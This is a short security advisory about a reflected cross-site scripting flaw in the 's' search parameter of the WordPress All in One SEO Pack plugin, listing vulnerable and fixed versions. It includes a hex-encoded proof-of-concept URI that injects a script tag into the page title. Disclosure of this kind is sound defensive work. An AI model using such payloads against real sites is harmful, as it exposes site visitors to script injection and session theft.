WordPress All in One SEO Pack 's' Parameter Cross Site Scripting Vulnerability

Bugtraq ID:	62784
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 02 2013 12:00AM
Updated:	Oct 02 2013 12:00AM
Credit:	Charlie Briggs and Richard Clifford
Vulnerable:	Semper Fi Web Design All in One SEO Pack 2.0.3 Semper Fi Web Design All in One SEO Pack 2.0 Semper Fi Web Design All in One SEO Pack 1.6.15.2 Semper Fi Web Design All in One SEO Pack 1.3.6.4
Not Vulnerable:	Semper Fi Web Design All in One SEO Pack 2.0.3.1

WordPress All in One SEO Pack 's' Parameter Cross Site Scripting Vulnerability

Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.

The following example URI is available:

http://www.example.com/wordpress/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e

WordPress All in One SEO Pack 's' Parameter Cross Site Scripting Vulnerability

References:

• All in One SEO Pack Plugin for WordPress 1.3.6.4 - 2.0.3 XSS (Charlie Briggs)
  
• All in One SEO Pack Pro Homepage (Semper Fi Web Design)
  
• All In One SEO Pack Release History (Semper Fi Web Design)
  
• WordPress All in One SEO Pack Plugin Page (Michael Torbert)